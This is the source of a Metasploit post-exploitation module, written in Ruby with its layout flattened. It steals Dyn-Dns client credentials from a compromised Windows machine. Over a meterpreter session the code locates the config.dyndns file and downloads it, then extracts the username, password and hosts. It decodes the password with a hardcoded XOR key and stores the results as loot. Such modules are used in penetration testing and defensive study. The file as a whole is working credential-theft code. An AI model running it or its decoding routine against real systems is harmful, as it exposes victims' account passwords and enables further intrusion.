## #$Id$ ##
  ## # This file is part of the Metasploit 
			Framework and may be subject to # redistribution and commercial 
			restrictions. Please see the Metasploit # Framework web site for 
			more information on licensing and terms of use. # 
			http://metasploit.com/framework/ ##
  require 'msf/core' 
			 class Metasploit3 < Msf::Post
  include 
			Msf::Auxiliary::Report
  def initialize(info={}) 
			super(update_info(info, 'Name' => 'Windows Gather Dyn-Dns Client 
			Password Extractor', 'Description' => %q{ This module extracts 
			the username, password, and hosts for Dyn-Dns version 4.1.8. This 
			is done by downloading the config.dyndns file from the victim 
			machine, and then automatically decode the password field. The 
			original copy of the config file is also saved to disk. }, 
			'License' => MSF_LICENSE, 'Author' => [ 'Shubham Dawra 
			<shubham2dawra[at]gmail.com>', #SecurityXploded.com 'sinn3r', 
			#Lots of code rewrite ], 'Version' => '$Revision$', 
			'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] 
			)) end
 
  # # Search for the config file. # Return 
			the config file path, otherwise nil to indicate nothing was found 
			# def get_config_file config_paths = [ 
			"C:\\ProgramData\\Dyn\\Updater\\", #Vista "C:\\Documents and 
			Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else 
			]
  # Give me the first match config_file = nil 
			config_paths.each do |p| tmp_path = p + "config.dyndns" begin 
			f = session.fs.file.stat(tmp_path) config_file = tmp_path 
			break #We've found a valid one, break! rescue end end 
			 return config_file end
 
  # # Download the config 
			file, and then load it up in memory. # Return the content. # 
			def load_config_file(config_file) f = 
			session.fs.file.new(config_file, "rb") content = '' until 
			f.eof? content << f.read end p = store_loot("dyndns.raw", 
			"text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns") 
			vprint_status("Raw config file saved: #{p.to_s}") return content 
			end
 
  # # Parse the data # Return: Hash { :username, 
			:pass, :hosts } # def parse_config(content) # Look at each 
			line for user/pass/host config_data = {} user = 
			content.scan(/Username=([\x21-\x7e]+)/)[0][0] pass = 
			content.scan(/Password=([\x21-\x7e]+)/)[0][0] host = 
			content.scan(/Host\d=([\x21-\x7e]+)/)[0]
  # Let's decode the 
			pass pass = decode_password(pass) if not pass.nil?
  # Store 
			data in a hash, save it to the array # Might contain nil if 
			nothing was regexed config_data = { :user => user, :pass => 
			pass, :hosts => host }
  return config_data end 
			
  # # Decode the password # def decode_password(pass) 
			pass = [pass].pack('H*') s = '' c = 0
  pass.each_byte do 
			|a1| a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i s << (a1 ^ 
			a2).chr c = ((c+1)%8) end
  return s end
 
  # 
			# Print results and storeloot # def do_report(data) tbl = 
			Rex::Ui::Text::Table.new( 'Header' => 'DynDNS Client Data', 
			'Indent' => 1, 'Columns' => ['Field', 'Value'] )
  # 
			Store username/password tbl << ['Username', data[:user]] tbl 
			<< ['Password', data[:pass]]
  # Store all found hosts hosts 
			= data[:hosts] hosts.each do |host| tbl << ['Host', host] 
			end
  print_status(tbl.to_s)
  if not tbl.rows.empty? p 
			= store_loot( 'dyndns.data', 'text/plain', session, tbl, 
			'dyndns_data.txt', 'DynDNS Client Data' ) 
			print_status("Parsed data stored in: #{p.to_s}") end end 
			
  # # Main function, duh # def run # Find the 
			config file config_file = get_config_file if config_file.nil? 
			print_error("No config file found, will not continue") return 
			end
  # Load the config file print_status("Downloading 
			config.dyndns...") content = load_config_file(config_file) 
			 if content.empty? print_error("Config file seems empty, will 
			not continue") return end
  # Get parsed data config = 
			parse_config(content)
  # Store data do_report(config) 
			end
  end 
			 	
	
		
		 |